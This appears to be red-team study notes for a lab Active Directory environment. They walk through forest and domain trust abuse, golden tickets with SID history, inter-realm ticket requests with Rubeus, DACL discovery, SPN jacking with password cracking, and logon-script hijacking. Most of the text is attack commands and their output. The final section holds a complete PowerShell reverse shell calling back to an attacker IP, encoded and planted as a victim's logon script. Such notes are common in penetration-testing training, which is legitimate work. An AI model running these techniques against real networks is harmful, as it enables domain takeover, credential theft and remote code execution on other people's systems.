When a child domain is added to a forest, it automatically creates a transitive, two-way trust with its parent.

powershell Get-DomainTrust

SourceName      : dev.cyberbotic.io # child
TargetName      : cyberbotic.io # parent
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 8/15/2022 4:00:00 PM
WhenChanged     : 8/15/2022 4:00:00 PM

WITHIN_FOREST lets us know that both of these domains are part of the same forest which implies a parent/child relationship.

If we have Domain Admin privileges in the child, we can also gain Domain Admin privileges in the parent using a TGT with a special attribute called SID History.

Getting the SID of the target domain (parent domain)

powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid

objectsid
---------
S-1-5-21-2594061375-675613155-814674916-512

powershell Get-DomainController -Domain cyberbotic.io | select Name

Name
----
dc-1.cyberbotic.io

Create a Golden or Diamond Ticket while passing in the SID.

You need ntlm or aes256 of krbtgt account (done by running DCSync on the Domain Controller)

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap

[*] Action: Build TGT

[*] Building PAC9

[*] Domain         : DEV.CYBERBOTIC.IO (DEV)
[*] SID            : S-1-5-21-569305411-121244042-2357301523
[*] UserId         : 500

/sid : SID of current domain dev.cyberbotic.io

/sids : Additional SIDs to import, in this case dc-1.cyberbotic.io

Then import it into a logon session and use it to access the domain controller in the parent.

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8= /ptt

One-way Inbound

dev.cyberbotic.io also has a one-way inbound trust with dev-studio.com

powershell Get-DomainTrust

SourceName      : dev.cyberbotic.io
TargetName      : dev-studio.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound
WhenCreated     : 8/16/2022 9:52:37 AM
WhenChanged     : 8/16/2022 9:52:37 AM

This means dev.cyberbotic.io can access resources in dev-studio.com

powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName

dnshostname
-----------
dc.dev-studio.com

Finding groups in the foreign domain

powershell Get-DomainForeignGroupMember -Domain dev-studio.com

GroupDomain             : dev-studio.com
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com
MemberDomain            : dev-studio.com
MemberName              : S-1-5-21-569305411-121244042-2357301523-1120
MemberDistinguishedName : CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com
powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120

DEV\\Studio Admins

This means that members of DEV\\Studio Admins are also members of the built-in Administrators group of dev-studio.com and therefore inherit local admin access to dc.dev-studio.com

Finding members in the group

powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberName

MemberName
----------
nlamb

So if we can impersonate nlamb , we become administrators in dev-studio.com , and by transitive properties, become administrators in dc.dev-studio.com

Get a TGT for nlamb .

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFwj[...]MuaW8=

Use the TGT to get an inter-realm TGS to the target domain

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/dev-studio.com'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):

doIFoz[...]NPTQ==

Use the inter-realm TGS to get a TGS for a service in the dc.dev-studio.com

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc.dev-studio.com'
[*] Using domain controller: dc.dev-studio.com (10.10.150.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):

doIFkD[...]8uY29t

Create net only and pass the TGS ticket in

C:\\Tools\\Rubeus\\Rubeus\\bin\\Release\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /username:nlamb /password:fake /domain:dev-studio.com /ticket:doIFkD[...]8uY29t /ptt

DACL Exploit

PS> . ./powersploit.ps1

As the name sugggets, finds Interesting DACL

PS> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "current_user_name"}

SPN Jacking

If we see this, we get their TGS via SPN-jacking

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='test/tester'}

Get-DomainSPNTicket -SPN test/tester
john --word-list=/usr/share/wordlist/rockyou.txt hash.txt

Script Path

If we see this, we can execute code on behalf of the user

Create a .bat file witrh RCE code

$ pwsh

$Text = '$client = New-Object System.Net.Sockets.TCPClient("10.10.16.35",4243);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText =[Convert]::ToBase64String($Bytes);$EncodedText
powershell -enc <base64_payload> (without quotes)

Place the .bat file in

 C:\Windows\sysvol\sysvol\<domain>\scripts\<folder that you can write into>

Set the script path of the victim to point to this payload

Set-ADUser -Identity Victim -ScriptPath 'A32FF3AEAA23\rev.bat'

Last updated